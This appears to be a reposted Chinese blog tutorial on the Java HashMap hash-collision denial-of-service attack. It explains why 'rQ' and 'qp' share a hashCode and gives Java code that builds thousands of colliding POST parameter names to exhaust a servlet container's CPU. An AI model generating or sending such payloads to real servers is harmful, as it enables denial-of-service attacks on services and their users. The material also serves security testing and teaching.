其原理很简单:利用hashcode的实现机制，构造大量会产生相同hashcode的key，导致hashmap的定位时间由O(1)降为0(n)(也就是使hash表退化成链表)。由于servlet规范里的处理post请求一般都采用hashmap存储request的key和value对，当处理成千上万的会产生相同hashcode的请求参数名时，就造成hashmap的定位性能急剧下降，导致cpu繁忙，达到拒绝服务攻击的目的。
而由于java采用DJBX33A算法产生hash值，因此很容易构造大量具有相同hashcode的值。这里探讨一下如何构造这个值。常见的有“相等字串法”和“中间相遇法”，以下援引一段别人的文字来说明这个“相等字串法”：
由于DJBX33A系列哈希算法满足一个很有意思的特性：如果hash(“string1”) = hash(“string2”)，那么在相同位置包含此2个子串的父串哈希结果将会产生碰撞，既：hash(“prefix_string1_postfix”) = hash(“prefix_string2_postfix”)。根据这一特性，攻击者如果能找到最简单的两个碰撞字符串，那么就可以很快通过反复组合，生成2的n次方个长度为2n的碰撞字符串。
这个看起来实现不难哈，只要找一对可以有相同hashcode的字串，通过一定的排列组合算法就行了。假定我们要求的key的长度为10，那么就可以生产2的10次方，也就是1024个key符合我们的要求(具有相同的hashcode，但有不同的值)。这个算法怎么写呢，其实也就是算出两个字符能组合成多少个不同的N位长度的字符。比如有两个字母a 和 b,要组合成2位数，那么共有以下几种排列：ab、aa、bb、ba。是不是有点像“找出n元素的全部子集”的算法。写这个算法有些麻烦，我想了一阵，来个取巧的吧：
我们把数字转化成2进制，这样二进制的0，1就代表我们的两个字母，我们只要用我们字母替换0，1就可以了。比如要组合成4位数，那么就有16种组合，就是将从0到15之间15之间的全部数字都换成二进制， 也就是0000-1111之间的所有二进制。我们把这些二进制数字里的0和1分别用a和b替换，就是我们要的结果哈。
根据以上方法，用java很容易就可以写个生成碰撞字串的方法，而且速度也很快，生成15次方的字串的用的时间也是秒这一数量级，可以满足测试的要求：(偶找了rQ和qp这两个可以产生相同hashcode的字串作为种子)
public static final String S0 = “rQ”;
public static final String S1 = “qp”;
private static String mkHashParams(int size, String mockVal) {
Long maxVal = (long) Math.pow(2, size);
System.out.println(“size=” + maxVal + “,int val=” + maxVal.intValue());
StringBuilder sb = new StringBuilder();
String it = null;
String bInt = null;
String changedBInt = null;
for (int i = 0; i < maxVal; i++) {
it = null;
bInt = Long.toBinaryString(i);
changedBInt = bInt.replace(“0”, S0);
changedBInt = changedBInt.replace(“1”, S1);
it = changedBInt;
int tmpLength = bInt.length();
if (tmpLength < size) {
long appendLength = size – tmpLength;
it = mkAppendedStr(appendLength, it);
}
if (i > 0) {
sb.append(“&”);
}
sb.append(it);
sb.append(“=”);
sb.append(mockVal);
// System.out.println(“it=”+it+”,hash =”+it.hashCode());
}
String str = sb.toString();
write(str, “c:/d”, “hash_params.txt”);
return str;
}
private static String mkAppendedStr(long length, String it) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; i++) {
sb.append(S0);
}
sb.append(it);
return sb.toString();
}
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/232251.html原文链接：https://javaforall.net
